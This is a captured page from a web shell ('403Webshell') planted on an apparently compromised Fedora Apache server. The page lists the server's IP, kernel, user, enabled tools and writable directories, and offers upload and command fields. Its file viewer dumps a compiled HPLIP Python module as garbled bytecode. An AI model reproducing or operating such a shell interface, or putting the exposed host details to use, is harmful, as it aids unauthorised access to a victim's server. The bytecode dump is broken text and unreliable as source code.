403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/base/utils.pyo
lJc'@sddklZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkZddk
Z
ddkZddkZddkZddkiiZddkZddkZddkZyddkZeZWnej
o
eZnXddkTddkTddkZdZdZ dZ!dZ"edZ#d	d	d	dd
Z%ddZ&ed
Z'eeedddZ(dZ)dddYZ*dddYZ+dddYZ,de,fdYZ-dddYZ.dddYZ/dZ0dZ1edZ2y
ei3Z4Wn(e5j
od	d	d	ed Z4nXed!Z6d"e7fd#YZ8d$Z9d%Z:d&Z;d'Z<d(Z=ydd)k
l>Z>WnOej
oCd*dd+YZ?d,e@fd-YZAd.dd/YZ>nXd0ZBe
iCd	d	ZDeDiEeDe
iFZGd1ZFd2d3ZHd4d5ZId6d7d8d9d:gZJhd;d66d	d76d	d86d<d96d	d:6ZKd=ZLed>ZMd?ZNdd@ZOddAZPdBddCYZQdDZReiSdEjo1dFdGZTdFdHZUdIZVdFdJZWne
iXZTe
iYZUe
iZZWdKZ[dLZ\dMZ]dNZ^ee^ddOZ_dPZ`dQZaddRdSZbdTdUZcdVZddWe7fdXYZedYZfdZd	d[efZgd\d]d^efZhd	d_d^efZid`dad^efZjdbdcd^efZkddd	d[efZlded	d[efZmdfdgd^efZndhdid^efZodjdkd^efZpd	dld^efZqdmdnd^efZrd	d	doefZsdpd	d[efZtdqd	d[efZudrd	dsefZvdtd	dsefZwdud	d[efZxdvdwd^efZydvdxd^efZzdyd	dzefZ{d{d|d^efZ|d}d~d^efZ}ddd^efZ~eiddddjo(ddd^efZddd^efZn%ddd^efZddd^efZdZddZdd	d	d	dZedZdZdZdZdZdS(i(t
generatorsN(t*iicCsqtid|iy(ti|ititiBtSWn.t	t
fj
otid|itSXdS(NsLocking: %ssFailed to unlock %s.(tlogtdebugtnametfcntltflocktfilenotLOCK_EXtLOCK_NBtTruetIOErrortOSErrortFalse(tf((s/usr/share/hplip/base/utils.pytlock?s cCsr|dj	oatid|iy-ti|ititi	|iWqnt
tfj
oqnXndS(Ns
Unlocking: %s(tNoneRRRRRRtLOCK_UNtostremoveRR(R((s/usr/share/hplip/base/utils.pytunlockIs
cCsti}tidjo
d}n%tii|pti|ntii|di|dg}yt|d}Wn6t	j
o*|pt
id|ntdfSXt|p-|pt
id||fntdfSt|fS(Nis/vart.RtwsUnable to open %s lock file.s)Unable to lock %s. Is %s already running?(tproptuser_dirRtgeteuidtpathtexiststmakedirstjointopenRRterrorR
RRR
(tapplicationtsuppress_errortdirt	lock_filetlock_file_f((s/usr/share/hplip/base/utils.pytlock_appSs"	
$
tcstidd}t|djo|t|}nti|||dj	o"|i||i|nfd}|S(NR&ics|iS(N(t	translate(ts(ttranstdelete(s/usr/share/hplip/base/utils.pytcallablezs(tstringt	maketranstlenRR'(tfrmttoR*tkeeptallcharsR+((R)R*s/usr/share/hplip/base/utils.pyt
Translatorps
"t0cCsWt|toC|o<|did
jodS|didjod	Sn|S(sD Convert an arbitrary 0/1/T/F/Y/N string to a normalized string 0/1.it1tttyu1R4Rtnu0(R5R6R7(R4RR8(t
isinstancetstrtlower(R(tdefault((s/usr/share/hplip/base/utils.pytto_bool_strs	cCslt|toC|o<|didjotS|did	jotSnt|to|S|S(
sG Convert an arbitrary 0/1/T/F/Y/N string to a boolean True/False value.iR5R6R7R4RR8(R5R6R7(R4RR8(R9R:R;R
R
tbool(R(R<((s/usr/share/hplip/base/utils.pytto_bools	Rc
csk|djo
|}nyti|}Wntij
o
tnX|pd}|id}x|D]}tiitii||}	x|D]|}
t	i	||
oc|ptii
|	oD|o	|	Vqytii|	VWqtj
o|	VqXqqqW|oBtii
|	o/x,t
|	|||||D]}|VqPWqlqlWdS(NRt;(RRtlistdirRt
StopIterationtsplitRtnormpathRtfnmatchtisdirtbasenamet
ValueErrort	walkFiles(troottrecurset	abs_pathstreturn_folderstpatternRtnamestpat_listRtfullnametpatR((s/usr/share/hplip/base/utils.pyRIs2


!	cCstii|oti|}|tid@}|d@otS|titijo|d@otS|titi	jo|d@otSnt
S(Niiii(RRRtstattST_MODER
tST_GIDtgetgidtST_UIDtgetuidR
(RR(tmode((s/usr/share/hplip/base/utils.pytis_path_writables%%	t
TextFormattercBs/eZdZdZdZdZedZRS(iiicCs4g|_x$|D]}|iit|qWdS(N(tcolumnstappendtColumn(tselftcolspeclisttcolspec((s/usr/share/hplip/base/utils.pyt__init__s	cCsd}t|}t|t|ijotiddSxHtd||iD]1\}}|i|t|t|i	}qVWdg|}xCt
|D]5}x,|iD]!}|||i|||<qWqW|odi|dSdi|SdS(Nis6Formatter: Number of text items does not match columnsR&s
(
tlistR.R\RRtmapRtwraptmaxtlinestrangetgetlineR(R_ttextlisttadd_newlinetnumlinesttexttcolumnt	complinestln((s/usr/share/hplip/base/utils.pytcomposes$




#(t__name__t
__module__tLEFTtCENTERtRIGHTRbR
Rq(((s/usr/share/hplip/base/utils.pyR[s
	R^cBs8eZdeiddZdZdZdZRS(iNicCs(||_||_||_g|_dS(N(twidtht	alignmenttmarginRg(R_RwRxRy((s/usr/share/hplip/base/utils.pyRbs			cCs\|itijo|i|iS|itijo|i|iS|i|iSdS(N(RxR[RutcenterRwRvtrjusttljust(R_tline((s/usr/share/hplip/base/utils.pytaligns
cCs2g|_g}xv|iD]h}||ijo|i|qx>tdt||iD]!}|i||||i!q_WqWt|pdS|id}xi|D]a}dt|}t|||ijo#|ii|i||}q|d|}qW|ii|i|dS(Niit (RgRCRwR]RhR.tpopR~(R_Rmtwordstwordtitcurrentt	increment((s/usr/share/hplip/base/utils.pyRes(	
#

cCsC|t|ijod|i|i|Sd|i|iSdS(NR(R.RgRyRw(R_tindex((s/usr/share/hplip/base/utils.pyRis(RrRsR[RtRbR~ReRi(((s/usr/share/hplip/base/utils.pyR^s		tStackcBs>eZdZdZdZdZdZdZRS(cCs
g|_dS(N(tstack(R_((s/usr/share/hplip/base/utils.pyRbscCs
|iiS(N(RR(R_((s/usr/share/hplip/base/utils.pyRscCs|ii|dS(N(RR](R_tvalue((s/usr/share/hplip/base/utils.pytpushscCs|iS(N(R(R_((s/usr/share/hplip/base/utils.pytas_listscCs
g|_dS(N(R(R_((s/usr/share/hplip/base/utils.pytclear!scCs
t|iS(N(R.R(R_((s/usr/share/hplip/base/utils.pyt__len__$s(RrRsRbRRRRR(((s/usr/share/hplip/base/utils.pyRs					tQueuecBs#eZdZdZdZRS(cCsti|dS(N(RRb(R_((s/usr/share/hplip/base/utils.pyRb*scCs|iidS(Ni(RR(R_((s/usr/share/hplip/base/utils.pytget-scCsti||dS(N(RR(R_R((s/usr/share/hplip/base/utils.pytput0s(RrRsRbRR(((s/usr/share/hplip/base/utils.pyR)s		t
RingBuffercBs/eZddZdZdZdZRS(i2cCs||_g|_dS(N(Rftdata(R_tsize_max((s/usr/share/hplip/base/utils.pyRb:s	cCsC|ii|t|i|ijod|_t|_ndS(s*append an element at the end of the bufferiN(RR]R.RftcurtRingBufferFullt	__class__(R_tx((s/usr/share/hplip/base/utils.pyR]>s	cCs||id<dS(s.replace the last element instead off appendingiN(R(R_R((s/usr/share/hplip/base/utils.pytreplaceFscCs|iS(s8 return a list of elements from the oldest to the newest(R(R_((s/usr/share/hplip/base/utils.pyRJs(RrRsRbR]RR(((s/usr/share/hplip/base/utils.pyR9s		RcBs,eZdZdZdZdZRS(cCsdS(N((R_R8((s/usr/share/hplip/base/utils.pyRbPscCs+||i|i<|id|i|_dS(Ni(RRRf(R_R((s/usr/share/hplip/base/utils.pyR]TscCsB|id|i|_||i|i<|id|i|_dS(Ni(RRfR(R_R((s/usr/share/hplip/base/utils.pyRXscCs|i|i|i|i S(N(RR(R_((s/usr/share/hplip/base/utils.pyR_s(RrRsRbR]RR(((s/usr/share/hplip/base/utils.pyROs			cCs{|i}g}|D]}||d|dgq~}|ig}tdt|D]}|||dq_~S(s9 Returns the keys of dictionary d sorted by their values ii(titemstsortRhR.(tdRt_[1]tvt	backitemst_[2]R((s/usr/share/hplip/base/utils.pytsort_dict_by_valueds/
cCsttid|dtS(Ns%dtgrouping(tunicodetlocaletformatR
(tval((s/usr/share/hplip/base/utils.pytcommafylscCs|djodit|dgSd|jo
djnod|o3ditt|dddt|dgSditt|ddd	gSnd|jo
d
jnod|o3ditt|dddt|dgSditt|ddd
gSna|o3ditt|dddt|dgSditt|dddgSdS(NiR&s Big@iu KB (t)u KBi@g0Au MB (u MBgAu GB (u GB(RRRtround(R(t
show_bytes((s/usr/share/hplip/base/utils.pytformat_bytesps
3*3*3cCsKti|}ti|titiBtiBd}ti|d|fS(Nisw+b(ttempfiletmktempRRtO_RDWRtO_CREATtO_EXCLtfdopen(tsuffixtprefixR"RmRtfd((s/usr/share/hplip/base/utils.pytmake_temp_files&cCstidid}|id|id|idd}xR|D]J}yti|}Wntj
o
qLqLX||jo|}PqLqLW|o#|otii||SdSn|SdS(NtPATHt:s/sbins	/usr/sbins/usr/local/sbinR&(RtgetenvRCR]RARRR(tcommandtreturn_full_pathRt
found_pathtptfiles((s/usr/share/hplip/base/utils.pytwhichs&



	tUserSettingscBs5eZdZdZdZdZdZRS(cCs|idS(N(tload(R_((s/usr/share/hplip/base/utils.pyRbscCsd|_td}t|djo
d|_ntd}t|djo
d|_nYtd}t|djo
d|_n-td	}t|djo
d
|_nd|_td}t|djo
d|_nYtd
}t|djo
d
|_n-td}t|djo
d|_ntd}t|o
d|_n
d|_td}t|o
d|_n
d|_td}t|o
d|_n
d|_td}t|o
d|_n
d|_dS(NR&shp-printishp-print -p%PRINTER%tkprinters"kprinter -P%PRINTER% --system cupstgtklpsgtklp -P%PRINTER%txppsxpp -P%PRINTER%txsanesxsane -V %SANE_URI%tkookat
xscanimages	hp-unloadshp-unload -d %DEVICE_URI%s'python %HOME%/unload.py -d %DEVICE_URI%s
hp-makecopiesshp-makecopies -d %DEVICE_URI%s+python %HOME%/makecopies.py -d %DEVICE_URI%s
hp-sendfaxshp-sendfax -d %FAX_URI%s%python %HOME%/sendfax.py -d %FAX_URI%shp-fabspython %HOME%/fab.py(t	cmd_printRR.tcmd_scant	cmd_pcardtcmd_copytcmd_faxtcmd_fab(R_R((s/usr/share/hplip/base/utils.pytloadDefaultssN	



	




	

	

	

cCsg|itidttiddd|_y"ttiddd|_Wnt	j
od|_nXy"ttiddd|_
Wnt	j
od	|_
nXtid
d|i|_tid
d|i|_tid
d
|i
|_
tid
d|i|_tid
d|i|_tid
d|i|_|idS(NsLoading user settings...trefreshtenableR4tratet30ittypeitcommandstprnttscantpcardtcpytfaxtfab(RRRR?t	user_confRtauto_refreshtinttauto_refresh_rateRHtauto_refresh_typeRRRRRR(R_((s/usr/share/hplip/base/utils.pyRs$

""cCstid|itid|itid|itid|itid|itid|itid|itid|i	tid	|i
dS(
NsPrint command: %ssPCard command: %ssFax command: %ssFAB command: %ssCopy command: %s sScan command: %ssAuto refresh: %ssAuto refresh rate: %ssAuto refresh type: %s(RRRRRRRRRRR(R_((s/usr/share/hplip/base/utils.pyR	scCstidtidd|itidd|itidd|itidd|itidd|itidd	|i	tidd
|i
tidd|i|idS(NsSaving user settings...RRRRRRRRRR(RRRtsetRRRRRRRR(R_((s/usr/share/hplip/base/utils.pytsaves
(RrRsRbRRRR(((s/usr/share/hplip/base/utils.pyRs
		C		c
Csy[ddk}|i}|i||i|iB|i|id}|i|iWn t	j
ot
idnXdS(Nis`PyQt not installed. GUI not available. Please check that the PyQt package is installed. Exiting.(tgtktWindowt
MessageDialogtDIALOG_MODALtDIALOG_DESTROY_WITH_PARENTtMESSAGE_WARNINGt
BUTTONS_OKtruntdestroytImportErrorRR(RRtdialog((s/usr/share/hplip/base/utils.pytno_qt_message_gtk"s	
cCs^tiptidtStidptidtStptidtStS(NsGUI mode disabled in build.tDISPLAYsNo display found.s Qt/PyQt 3 initialization failed.(	Rt	gui_buildRtwarnR
RRtcheckPyQtImportR
(((s/usr/share/hplip/base/utils.pytcanEnterGUIMode0s




cCs^tiptidtStidptidtStptidtStS(NsGUI mode disabled in build.RsNo display found.s Qt/PyQt 4 initialization failed.(	RRRRR
RRtcheckPyQtImport4R
(((s/usr/share/hplip/base/utils.pytcanEnterGUIMode4@s




cCsyddk}Wntj
ottidotidotnyddk}Wn!tj
otidtSXtidtSXt	|i
idd}|tjotidtSy
|i
}Wntj
o|i}nXx%|idd	jo|d
7}qW|id\}}}|iddjotidny(t	|}t	|}t	|}Wn"tj
od\}}}nX|tjp|tjoP|tjoCtid
|||ftidttftidtStS(NiRtSTARTED_FROM_MENUs5hplip-gui not installed.  GUI not available. Exiting.s/PyQt not installed. GUI not available. Exiting.RisBIncorrect version of Qt installed. Ver. 3.0.0 or greater required.is.0tsnapshots3A non-stable snapshot version of PyQt is installed.s]This program may not function properly with the version of PyQt that is installed (%d.%d.%d).sDIncorrect version of pyQt installed. Ver. %d.%d or greater required.sUThis program will continue, but you may experience errors, crashes or other problems.(iii(tqtRRRRtuiRRR
RtqVersionRCtMINIMUM_QT_MAJOR_VERtPYQT_VERSION_STRtAttributeErrortPYQT_VERSIONtcounttfindtwarningRHtMINIMUM_PYQT_MAJOR_VERtMINIMUM_PYQT_MINOR_VERR
(RRtqtMajortpyqtVersiontmaj_vertmin_vertpat_ver((s/usr/share/hplip/base/utils.pyRPsN 






cCsHyddk}ddk}Wn!tj
otidtSXtSdS(Nis4Install the hplip-gui package for graphical support.(tPyQt4tui4RRRR
R
(RR((s/usr/share/hplip/base/utils.pyRs
(tTemplatet	_multimapcBs eZdZdZdZRS(sHelper class for combining multiple mappings.

        Used by .{safe_,}substitute() to combine the mapping and keyword
        arguments.
        cCs||_||_dS(N(t_primaryt
_secondary(R_tprimaryt	secondary((s/usr/share/hplip/base/utils.pyRbs	cCs1y|i|SWntj
o|i|SXdS(N(R
tKeyErrorR(R_tkey((s/usr/share/hplip/base/utils.pyt__getitem__s(RrRst__doc__RbR(((s/usr/share/hplip/base/utils.pyR	s	t_TemplateMetaclasscBseZdZdZRS(sK
        %(delim)s(?:
          (?P<escaped>%(delim)s) |   # Escape sequence of two delimiters
          (?P<named>%(id)s)      |   # delimiter and a Python identifier
          {(?P<braced>%(id)s)}   |   # delimiter and a braced identifier
          (?P<invalid>)              # Other ill-formed delimiter exprs
        )
        cCstt|i|||d|jo
|i}n+tihti|id6|id6}ti|ti	ti
B|_dS(NRNtdelimtid(tsuperRRbRNtretescapet	delimitert	idpatterntcompilet
IGNORECASEtVERBOSE(tclsRtbasestdctRN((s/usr/share/hplip/base/utils.pyRbs

	(RrRsRNRb(((s/usr/share/hplip/base/utils.pyRsRcBsDeZdZeZdZdZdZdZdZ	dZ
RS(s.A string class for supporting $-substitutions.t$s[_a-z][_a-z0-9]*cCs
||_dS(N(ttemplate(R_R!((s/usr/share/hplip/base/utils.pyRbscCs|id}|i| it}|pd}d}n*|tdi|d }t|}td||fdS(NtinvalidiR&is.Invalid placeholder in string: line %d, col %d(tstartR!t
splitlinesR
R.RRH(R_tmoRRgtcolnotlineno((s/usr/share/hplip/base/utils.pyt_invalids
cst|djotdn|p
|n)|ot||dn|dfd}ii|iS(NisToo many positional argumentsics|idp
|id}|dj	o|}d|S|iddj	oiS|iddj	oi|ntdidS(Ntnamedtbraceds%stescapedR"s#Unrecognized named group in pattern(tgroupRRR(RHRN(R%R)R(tmappingR_(s/usr/share/hplip/base/utils.pytconverts

	(R.t	TypeErrorR	RNtsubR!(R_targstkwsR.((R_R-s/usr/share/hplip/base/utils.pyt
substitutes

cst|djotdn|p
|n)|ot||dn|dfd}ii|iS(NisToo many positional argumentsic	s|id}|dj	o2yd|SWqNtj
oi|SXn|id}|dj	o:yd|SWqtj
oid|dSXn|iddj	oiS|iddj	oiStdidS(	NR)s%sR*t{t}R+R"s#Unrecognized named group in pattern(R,RRRRHRN(R%R)R*(R-R_(s/usr/share/hplip/base/utils.pyR.s$

(R.R/R	RNR0R!(R_R1R2R.((R_R-s/usr/share/hplip/base/utils.pytsafe_substitutes

(RrRsRRt
__metaclass__RRRbR(R3R6(((s/usr/share/hplip/base/utils.pyRs			cCstidii}d|jo|d=ntidii}d|jo|d=nt|itidi|S(NiR_(tsyst	_getframet	f_globalstcopytf_localsRR3(R(tglobalstlocals((s/usr/share/hplip/base/utils.pytcats

cCs|ittS(N(R'tidentitytunprintable(R(((s/usr/share/hplip/base/utils.pyt	printable)scCs|S(((R((s/usr/share/hplip/base/utils.pyt<lambda>-scCs'x |D]}||otSqWtS(N(R
R
(tSRR((s/usr/share/hplip/base/utils.pytany-s

	cCs|S(((R((s/usr/share/hplip/base/utils.pyRC3scCs'x |D]}||ptSqWtS(N(R
R
(RDRR((s/usr/share/hplip/base/utils.pytall3s

	tfirefoxtmozillat	konquerortgaleont	skipstones-new-windows-wcCsJtotidjodSx$tD]}t|o|Sq&WdSdS(NtDarwinR(tplatform_availtplatformtsystemtBROWSERSRR(tb((s/usr/share/hplip/base/utils.pytfind_browser=s
	cCsto;tidjo(d|}ti|ti|nxtD]}t|}|oftii	||}|od|t
||f}nd||f}ti|ti|PqIqIWtid|dS(NRLs	open "%s"s%s %s "%s" &s	%s "%s" &sUnable to open URL: %s(RMRNRORRRRPRRRtBROWSER_OPTSR(turltuse_browser_optstcmdRQtbb((s/usr/share/hplip/base/utils.pytopenURLHs 



	cCsFg}g}|D]*}|i|p||i|qq~|S(N(RR](tinputttempRR((s/usr/share/hplip/base/utils.pyt
uniqueList]s<csdjofd}nfd}xStdtD]<}||o)||d|d<|<qNqNWdS(Ncs|jS(((R(tmtl(s/usr/share/hplip/base/utils.pyRCescs|S(((R(R\R]tcmp(s/usr/share/hplip/base/utils.pyRCgsi(RRhR.(R]R\R^RR((R\R]R^s/usr/share/hplip/base/utils.pytlist_move_upcs

csdjofd}nfd}xZttdddD]<}||o)|d||<|d<qUqUWdS(Ncs|jS(((R(R\R](s/usr/share/hplip/base/utils.pyRCpscs|S(((R(R\R]R^(s/usr/share/hplip/base/utils.pyRCrsiii(RRhR.(R]R\R^RR((R\R]R^s/usr/share/hplip/base/utils.pytlist_move_downns

tXMLToDictParsercBs>eZdZdZdZdZdZdZRS(cCsg|_h|_d|_dS(NR&(RRt
last_start(R_((s/usr/share/hplip/base/utils.pyRb{s		cCs|iit|it|i|_t|oOxL|D]@}|iit|i|i|||iiqEWndS(N(RR]RR;RbR.taddDataR(R_Rtattrsta((s/usr/share/hplip/base/utils.pytstartElements
cCs8|i|ijo|idn|iidS(NR&(R;RbRcRR(R_R((s/usr/share/hplip/base/utils.pyt
endElementscCs8t|i}|o|io|i|ndS(N(RtstripRRc(R_R((s/usr/share/hplip/base/utils.pytcharDatascCssd|_yt|}Wntj
ot|}nXdi|i}di|dg}y|i|Wntj
oy|i|Wn tj
o||i|<qoXd}xtoky$|idi|t|gWn6tj
o*||idi|t|g<PnX|d7}qWn<X|i||i|<||idi|dg<|i|=dS(NR&t-R4iiR5(	RbRRHRRRRRR
(R_Rt	stack_strtstack_str_0tj((s/usr/share/hplip/base/utils.pyRcs4	$"cCsPti}|i|_|i|_|i|_|i|i	dt
|iS(Nsutf-8(texpattParserCreateRftStartElementHandlerRgtEndElementHandlerRitCharacterDataHandlertParsetencodeR
R(R_Rmtparser((s/usr/share/hplip/base/utils.pytparseXMLs(RrRsRbRfRgRiRcRv(((s/usr/share/hplip/base/utils.pyRazs					"cCsdid|dgS(NR&t"(R(R(((s/usr/share/hplip/base/utils.pytdquotesiRcCsLd}x;t|tt|D]\}}||joPq"q"W||S(Ni(tzipRhR.(R(tcharsRtc((s/usr/share/hplip/base/utils.pytxlstrips
	cCsttt||S(N(txreverseR|(R(Rz((s/usr/share/hplip/base/utils.pytxrstripscCs#t|}|idi|S(NR&(RctreverseR(R(R]((s/usr/share/hplip/base/utils.pyR}s
cCs"tttt|||S(N(R}R|(R(Rz((s/usr/share/hplip/base/utils.pytxstripscCs5tottidd Stidd>SdS(NiitPi(RMRRNtarchitecturetstructtcalcsize(((s/usr/share/hplip/base/utils.pyt
getBitnessscCs,totiiddiSdSdS(NRt_ti686(RMRNtmachineRR;(((s/usr/share/hplip/base/utils.pytgetProcessorscCstidjotStSdS(Ntbig(R8t	byteordert
BIG_ENDIANt
LITTLE_ENDIAN(((s/usr/share/hplip/base/utils.pyt	getEndianscCs
tidS(NsEnter password: (tgetpass(((s/usr/share/hplip/base/utils.pytget_passwordsc
Cseti}yti|d|}Wntij
od	SXyxtot|idtiti	g}|i
o/|i|i
|oti
|i
qn|djo5|dj	o|i|q|itqE|djoPqE|djoqEqEqEWWn&tj
o}tid|nXt|i|i|ifS(
NttimeoutiR&s[pP]assword:iiis
Exception: %s(iR&(t	cStringIOtStringIOtpexpecttspawntExceptionPexpectR
tupdate_spinnertexpecttEOFtTIMEOUTtbeforetwriteRRRtsendlineRt	ExceptionRtcleanup_spinnertcloset
exitstatustgetvalue(RVt
log_outputt
password_funcRtoutputtchildRte((s/usr/share/hplip/base/utils.pyRs6





c
CsLg}x|idD]}|i}|id}t|djor|did}|dt||d<|do|dptd|n|ddjp|dddjo|d	7}nbg}|D]}|t|q~}|d|djotd
|n|dt|7}g}|D]}|t|dq<~}|d|djotd
|nxEt|d|ddD]}|i||qWq|i|qWt	g}	t
|D]\}}|	||fq~	i}g}
|D]}|o|
t|qq~
}|i|S(sCredit: Jean Brouwers, comp.lang.python 16-7-2004
       Convert a string representation of a set of ranges into a
       list of ints, e.g.
       u"1-4, 7, 9-12" --> [1,2,3,4,7,9,10,11,12]
    u,Rjiiu
0123456789is
empty range: u0s%dswide range: u%%0%ddi
sbad range: (
RCRhR.trstripRHRfRRhR]tdictt	enumeratetkeysR(tnstfsR8trthRRRRt_[3]t_[4]R((s/usr/share/hplip/base/utils.pytexpand_range#s6&'*?2
cCs|pdSt|dg|dt}}}xl|dD]`}||djo
t}n:|o!|id||ft}n|id||}q<W|o|id|ndi|S(s} Convert a list of integers into a string
        range representation:
        [1,2,3,4,7,9,10,11,12] --> u"1-4,7,9-12"
    R&iiu-%s,%su,%su-%s(R:R
R
R]R(RR(R{RR((s/usr/share/hplip/base/utils.pytcollapse_rangeMs%


ic	Cs|djoti}nd}xt|dtdtdtddddD]}tii|\}}|i|oS||joFyt|t	|}Wnt
j
o
qNqXt||}qNqNWtii|d|||d	|fS(
NiRKRLRMRNRRs%s%0*d%si(
RRtgetcwdRIR
Rtsplitextt
startswithRR.RHRfR(	RGtextR"tdigitsR\RRRR((s/usr/share/hplip/base/utils.pytcreateSequencedFilenameis
+ten_UScCs|djoti\}}nY|ii}xCtiD]\}}||joPqBqBWd}tid||S(NRs)Unknown lang/locale. Using default of %s.(	RRtgetdefaultlocaleR;Rhtsupported_localesRRR(tlangR<tloctencodertll((s/usr/share/hplip/base/utils.pytvalidate_language|s


	cCsty ddk}t|iSWnMtj
oAtd}|o#tii|d}ti	|SdSnXdS(NituuidgenR&(
tuuidR:tuuid4RRRRRRt	getoutput(RR((s/usr/share/hplip/base/utils.pytgen_random_uuidstRestTableFormattercBs&eZddZdZdZRS(cCs||_g|_dS(N(theadertrows(R_R((s/usr/share/hplip/base/utils.pyRbs	cCs|ii|dS(N(RR](R_trow_data((s/usr/share/hplip/base/utils.pytaddsc
CsM|io2t|id}x:|iD]/}t||jotid|dSq'Wt|i|jotidng}xgt|iD]V\}}t|}x*|iD]}t|t||}qW|i|dqWd}x.|D]&}di|d|ddg}qWdi|dg}|i	||iod	}xXt|D]J\}}di|d
|i|d
|dt|i|d	g}qgWdi|dg}|i	|d}x.|D]&}di|d|ddg}qWdi|dg}|i	|nxt|iD]\}	}d	}x`t|D]R\}}di|d
|i|	|d
|dt|i|	|d	g}qcWdi|dg}|i	|d}x.|D]&}di|d|ddg}qWdi|dg}|i	|qDWntid
dS(Nis"Invalid number of items in row: %ss"Invalid number of items in header.it+R&Rjs
t|Rit=sNo data rows(
RR.RRRRRfR]RR(
R_Rtnum_colsRt
col_widthsRR{t	max_widthRRm((s/usr/share/hplip/base/utils.pyRsf

	
$


B
$
J
$N(RrRsRRbRR(((s/usr/share/hplip/base/utils.pyRs	cCsddk}|iddi}d|jotdn|ii}|idd|idd|i|dS(NiiiRss(Must call mixin() from within class def.R(	tinspectRR<R/t__dict__R;RRtupdate(RRR>R((s/usr/share/hplip/base/utils.pytmixins
s	[OPTIONS]theadingsSet the logging level:s-l<level> or --logging=<level>toptions5<level>: none, info\*, error, warn, debug (\*default)sRun in debug mode:s-g (same as option: -ldebug)sOutput plain text only:s-ts[PRINTER|DEVICE-URI]s	[PRINTER]sTo specify a device-URI:s'-d<device-uri> or --device=<device-uri>sTo specify a CUPS printer:s"-p<printer> or --printer=<printer>s'Bus to probe (if device not specified):s-b<bus> or --bus=<bus>sf<bus>: cups\*, usb\*, net, bt, fw, par\* (\*defaults) (Note: bt and fw not supported in this release.)sThis help information:s-h or --helptspaces	Examples:sNotes:snIf device or printer is not specified, the local device bus is probed and the program enters interactive mode.tnotes<If -p\* is specified, the default CUPS printer will be used.s	See Also:sSet the language:sZ-q <lang> or --lang=<lang>. Use -q? or --lang=? to see a list of available language codes.sF--lang=<lang>. Use --lang=? to see a list of available language codes.s[MODE]RsRun in non-interactive mode:s-n or --non-interactivesRun in graphical UI mode:s-u or --gui (Default)sRun in interactive mode:s-i or --interactivet	configures
ui-toolkittqt3sUse Qt3:s--qt3 (Default)sUse Qt4:s--qt4s--qt3s--qt4 (Default)c	Cstidid}hdd6dd6}x^|idD]M}|i}t|djo(|d||d<|d||d<q=q=Wy%t|dt|d}}Wntj
od
\}}nX||fS(Nsstty -aiRR\R@iiiiP(iiP(RRR$RRCR.RR/(tln1tvalstphRRtcols((s/usr/share/hplip/base/utils.pytttysizes%cCs|t\}}|o|}||d}n#t|dd}||d}th|d6dd6h|d6dd6fS(NiiRwiRy(RRR[(toverrideRRtcol1tcol2((s/usr/share/hplip/base/utils.pytusage_formatter%sRmcCsn|djot}xl|D]d}|\}}}	}
|idd}|idd}|	djo'titi|tidq|	dBjo)ti||
otidqq|	dCjotiti|q|	dDjo#ti|i||f|
q|	djo<|id
otid|iqti|q|	djotidqqWtidn	|djoDdE\}}dF\}
}dG\}}x|D]}|\}}}	}
|	d
jo.tt	||}tt	||}q|	djo.tt	||
}
tt	||}q|	djo.tt	||}tt	||}qqW|d7}|d7}|
d7}
|d7}|d7}|d7}||}|
|}||}tid||fd|||f}ti|tidt	|tidg}t
}xC|D];}|\}}}	}
|	djo|i|d|}nt	|t	|}}|	djo0tidid|dgtidqc|	dHjo+tidti|tidqc|	dIjo9tidtid|dtidt
}qc|	d
jo]|oQtidtidtididd|dd|dgt
}n|oSd|joFtidid|dd
||dd|d
||dgn{|o?tidid|d
||d|d
||dgn5tididd
|d|d
||dgtididd|dd|dgqc|	djo]|oQtidtidtididd|
dd|dgt
}n|oSd|joFtidid|dd
|
|dd|d
||dgn{|o?tidid|d
|
|d|d
||dgn5tididd
|
d|d
||dgtididd|
dd|dgqc|	djo)|od|joti|qqc|	djo|oQtidtidtididd|dd|dgt
}n|id
o+tididd
|d dgntidid|d
||d dgtididd|dd|dgqc|	djotidqcqcWx1|D])}tid!||id"dfqWtidn|d#jovtid$||ftid%||fxd|D]\}|\}}}	}
|id&d}|id&d}t	|t	|}}|	djo.tid'tid(|id)dq)	|	djotid*|q)	|	dJjo3|otid+||fq
ti|q)	|	dKjo?tid,|iid-did.did/dq)	|	d0joti|q)	q)	Wtid1tid2tid3tid4tid5tid6tid7tid8tid9tid:tid;tid<tid=tid>tid?tid@tidndAS(Ls
    Format usage text in multiple formats:
        text: for --help in the console
        rest: for conversion with rst2web for the website
        man: for manpages
    Rms\R&tsummarytparaRtseealsoRRRtexampleRRs	Rtrestiis_restindex
page-title: %s
crumb: %s
format: rest
file-extension: html
encoding: utf8
/restindex
s%s: %s (ver. %s)Rs`%s`_s**s.. class:: borderlessRRjs`_s| *RiRis
.. _`%s`: %s.html
shp-tmans$.TH "%s" 1 "%s" Linux "User Manuals"s.SH NAME
%s \- %ss\*s.SH SYNOPSISs.B %ssUsage:s.SH DESCRIPTION
%ss.IP "%s"
%ss.SH %sRt[t]s
seealso, paras
.SH AUTHORs8HPLIP (Hewlett-Packard Linux Imaging and Printing) is ans=HP developed solution for printing, scanning, and faxing withs,HP inkjet and laser based printers in Linux.s.SH REPORTING BUGSsThe HPLIP Launchpad.net sites.B https://launchpad.net/hplips is available to get help, reports>bugs, make suggestions, discuss the HPLIP project or otherwisescontact the HPLIP Team.s
.SH COPYRIGHTs>Copyright (c) 2001-9 Hewlett-Packard Development Company, L.P.s.LPs0This software comes with ABSOLUTELY NO WARRANTY.s;This is free software, and you are welcome to distribute its<under certain conditions. See COPYING file for more details.N(RsnameR(Rsheader(RR(ii(ii(ii(Rsname(Rsheader(RRR(sheaderR(RRRtinfotboldRqRtlstripRfR.R
R]RR
tupper(t	text_listttypttitletcrumbtversiont	formatterR}ttext1ttext2Rttrailing_spacet
opt_colwidth1t
opt_colwidth2texmpl_colwidth1texmpl_colwidth2tnote_colwidth1tnote_colwidth2topt_tablewidthtexmpl_tablewidthtnote_tablewidthR6tlinkstneeds_headertlen1tlen2R]((s/usr/share/hplip/base/utils.pytformat_text3s>
	




#





























